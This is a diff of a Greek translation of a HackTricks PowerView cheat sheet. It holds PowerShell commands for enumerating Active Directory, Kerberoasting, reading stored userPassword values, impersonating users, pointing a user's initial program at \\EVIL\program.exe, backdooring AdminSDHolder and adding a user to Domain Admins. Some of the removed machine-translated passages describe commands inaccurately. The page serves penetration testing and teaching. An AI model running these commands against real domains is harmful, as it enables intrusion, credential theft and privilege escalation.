@ -181,19 +142,6 @@ Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
```
### Σύνδεση και Συνεδρίες
Οι επιθέσεις που σχετίζονται με την σύνδεση και τις συνεδρίες αποτελούν σημαντικό κομμάτι της χάκερ τεχνικής. Μέσω αυτών των επιθέσεων, ο χάκερ μπορεί να αποκτήσει πρόσβαση σε συστήματα και να εκτελέσει επιθέσεις μεγαλύτερης κλίμακας.
#### Εντολές PowerShell για την Σύνδεση και τις Συνεδρίες
Ο PowerView παρέχει μια σειρά από εντολές PowerShell που μπορούν να χρησιμοποιηθούν για την εξερεύνηση και την εκμετάλλευση των συνεδριών σε ένα σύστημα. Οι πιο σημαντικές εντολές περιλαμβάνουν:
- `Get-NetSession`: Επιστρέφει πληροφορίες σχετικά με τις ενεργές συνεδρίες στο σύστημα.
- `Get-NetLoggedon`: Επιστρέφει πληροφορίες σχετικά με τους χρήστες που έχουν συνδεθεί στο σύστημα.
- `Invoke-UserImpersonation`: Εκτελεί μια επίθεση εξομοίωσης χρήστη, επιτρέποντας στον χάκερ να αποκτήσει τα δικαιώματα του συγκεκριμένου χρήστη.
- `Invoke-UserEvent`: Εκτελεί μια επίθεση εκδήλωσης χρήστη, προκαλώντας την εκτέλεση ενός συγκεκριμένου γεγονότος από τον χρήστη.
Αυτές οι εντολές μπορούν να χρησιμοποιηθούν για να ανακτήσετε πληροφορίες σχετικά με τις συνεδρίες και τους συνδεδεμένους χρήστες σε ένα σύστημα, καθώς και για να εκτελέσετε επιθέσεις που εκμεταλλεύονται αυτές τις συνεδρίες.
```powershell
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
@ -201,10 +149,10 @@ Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the mom
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
```
### Αντικείμενο Ομάδας Πολιτικής Ομάδας - GPOs
### Αντικείμενο Ομάδας Πολιτικής - GPOs
Εάν ένας επιτιθέμενος έχει **υψηλά προνόμια σε ένα GPO**, μπορεί να εκμεταλλευτεί αυτό για να **αναβαθμίσει τα προνόμιά του** καταχρώντας το προσθέτοντας δικαιώματα σε έναν χρήστη, προσθέτοντας έναν τοπικό διαχειριστή χρήστη σε έναν υπολογιστή ή δημιουργώντας μια προγραμματισμένη εργασία (άμεση) για να εκτελέσει μια ενέργεια.\
Για [**περισσότερες πληροφορίες σχετικά με αυτό και πώς να το εκμεταλλευτείτε ακολουθήστε αυτόν τον σύνδεσμο**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
Εάν ένας εισβολέας έχει **υψηλά προνόμια πάνω σε ένα GPO**, θα μπορούσε να **αυξήσει τα προνόμια** καταχρώντας το προσθέτοντας **δικαιώματα σε έναν χρήστη**, προσθέτοντας έναν τοπικό διαχειριστή σε έναν υπολογιστή ή **δημιουργώντας μια προγραμματισμένη εργασία** (άμεση) για να εκτελέσει μια ενέργεια.\
Για [**περισσότερες πληροφορίες σχετικά με αυτό και πώς να το καταχρηστικοποιήσετε ακολουθήστε αυτόν τον σύνδεσμο**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
```powershell
#GPO
Get-DomainGPO | select displayName #Check the names for info
@ -265,59 +213,13 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
#Get special rights over All administrators in domain
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
```
### Κοινόχρηστα αρχεία και φάκελοι
PowerView provides several functions to enumerate shared files and folders on a target system. These functions can be useful for gathering information about the file sharing configuration and identifying potential vulnerabilities.
#### Get-NetShare
The `Get-NetShare` function retrieves information about shared folders on the target system. It returns the share name, local path, and description for each shared folder.
```powershell
Get-NetShare
```
#### Get-NetLoggedon
The `Get-NetLoggedon` function enumerates users who are currently logged on to the target system and have open files or sessions. This can be useful for identifying active users and potential targets for lateral movement.
```powershell
Get-NetLoggedon
```
#### Get-NetSession
The `Get-NetSession` function retrieves information about active sessions on the target system. It returns details such as the username, computer name, session ID, and the time the session was established.
```powershell
Get-NetSession
```
#### Get-NetFile
The `Get-NetFile` function enumerates files that are open remotely on the target system. It returns information about the open files, including the file ID, path, username, and the time the file was opened.
```powershell
Get-NetFile
```
#### Get-NetFileServer
The `Get-NetFileServer` function retrieves information about file servers on the target system. It returns details such as the server name, number of open files, and the number of sessions established with the server.
```powershell
Get-NetFileServer
```
By using these functions, you can gain valuable insights into the shared files and folders on a target system, which can help in identifying potential security weaknesses and planning further exploitation.
### Κοινόχρηστα αρχεία και φακέλοι
```powershell
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
```
### Εμπιστοσύνη του τομέα
Η εμπιστοσύνη του τομέα αναφέρεται στη σχέση εμπιστοσύνης μεταξύ δύο τομέων σε ένα περιβάλλον Active Directory. Όταν δύο τομείς έχουν εμπιστοσύνη μεταξύ τους, οι χρήστες και οι πόροι ενός τομέα μπορούν να αναγνωρίζονται και να αποκτούν πρόσβαση σε πόρους στον άλλο τομέα. Αυτό μπορεί να είναι χρήσιμο για την κοινή χρήση πόρων, όπως αρχεία και εκτυπωτές, μεταξύ διαφορετικών τομέων. Οι εμπιστοσύνες του τομέα μπορούν να είναι μονόδρομες ή αμφίδρομες, ανάλογα με τον τρόπο που έχουν διαμορφωθεί.
### Εμπιστοσύνη τομέα
```powershell
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
@ -334,9 +236,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
```
### Εύκολος στόχος
Οι εύκολοι στόχοι
### Χαμηλοκρεμάστο φρούτο
```powershell
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
@ -375,63 +275,29 @@ Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth
```
### Διαγραμμένα αντικείμενα
Το PowerView παρέχει τη δυνατότητα να ανακτήσετε πληροφορίες για διαγραμμένα αντικείμενα σε έναν Active Directory. Αυτό μπορεί να είναι χρήσιμο για την εξαγωγή πληροφοριών για χρήστες, ομάδες ή υπολογιστές που έχουν διαγραφεί από τον Active Directory, αλλά εξακολουθούν να υπάρχουν στη βάση δεδομένων.
Για να ανακτήσετε πληροφορίες για διαγραμμένα αντικείμενα, μπορείτε να χρησιμοποιήσετε την εντολή `Get-DomainObject` με την παράμετρο `-Deleted`. Αυτό θα επιστρέψει όλα τα διαγραμμένα αντικείμενα στον Active Directory.
```powershell
Get-DomainObject -Deleted
```
Μπορείτε επίσης να περιορίσετε τα αποτελέσματα σε συγκεκριμένους τύπους αντικειμένων, χρησιμοποιώντας την παράμετρο `-ObjectType`. Για παράδειγμα, μπορείτε να ανακτήσετε μόνο τα διαγραμμένα χρήστες με την εξής εντολή:
```powershell
Get-DomainObject -Deleted -ObjectType User
```
Αυτό θα επιστρέψει μόνο τα διαγραμμένα αντικείμενα τύπου χρήστη. Μπορείτε να αντικαταστήσετε το `User` με άλλους τύπους αντικειμένων, όπως `Group` ή `Computer`, για να ανακτήσετε μόνο τα διαγραμμένα αντικείμενα αυτών των τύπων.
```powershell
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### MISC
### ΔΙΑΦΟΡΑ
#### Μετατροπή SID σε Όνομα
```powershell
ConvertFrom-SID -SID <SID>
```
Αυτή η εντολή μετατρέπει ένα SID (Αναγνωριστικό Ασφαλείας) σε αντίστοιχο όνομα χρήστη ή ομάδας. Απλά αντικαταστήστε το `<SID>` με το πραγματικό SID που θέλετε να μετατρέψετε.
#### Αναγνωριστικό ασφαλείας (SID) σε Όνομα
```powershell
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
```
Ο Kerberoast είναι μια τεχνική επίθεσης που στοχεύει στην απόκτηση κρυπτογραφημένων κλειδιών του Kerberos για εξαγωγή κωδικών πρόσβασης. Αυτή η επίθεση εκμεταλλεύεται την αδυναμία του Kerberos να αντισταθεί σε επιθέσεις brute-force. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν το PowerView για να εκτελέσουν την επίθεση Kerberoast και να αποκτήσουν τα κρυπτογραφημένα κλειδιά του Kerberos. Αυτά τα κλειδιά μπορούν στη συνέχεια να αποκρυπτογραφηθούν για να αποκτηθούν οι κωδικοί πρόσβασης των χρηστών.
#### Kerberoast
```powershell
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
```
#### Χρήση διαφορετικών διαπιστευτηρίων (όρισμα)
Μπορείτε να χρησιμοποιήσετε διαφορετικά διαπιστευτήρια παρέχοντας το αντίστοιχο όρισμα.
```powershell
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
```
#### Προσομοίωση ενός χρήστη
To impersonate a user in PowerShell, you can use the `Invoke-UserImpersonation` function from the PowerView module. This allows you to execute commands as if you were that user.
```powershell
Invoke-UserImpersonation -Username <username>
```
Replace `<username>` with the username of the user you want to impersonate. This will create a new PowerShell session with the user's credentials, allowing you to perform actions on their behalf.
Keep in mind that you need administrative privileges to impersonate other users. Additionally, this technique may raise suspicion and leave traces in the system's event logs, so use it responsibly and with proper authorization.
#### Προσωποποίηση ενός χρήστη
```powershell
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
@ -441,12 +307,6 @@ Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf
```
#### Ορισμός τιμών
```powershell
$variable = value
```
Χρησιμοποιήστε την παραπάνω εντολή για να ορίσετε μια τιμή σε μια μεταβλητή στο PowerShell. Αντικαταστήστε το `variable` με το όνομα της μεταβλητής που θέλετε να ορίσετε και το `value` με την τιμή που θέλετε να ανατεθεί στη μεταβλητή.
```powershell
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
@ -457,14 +317,18 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>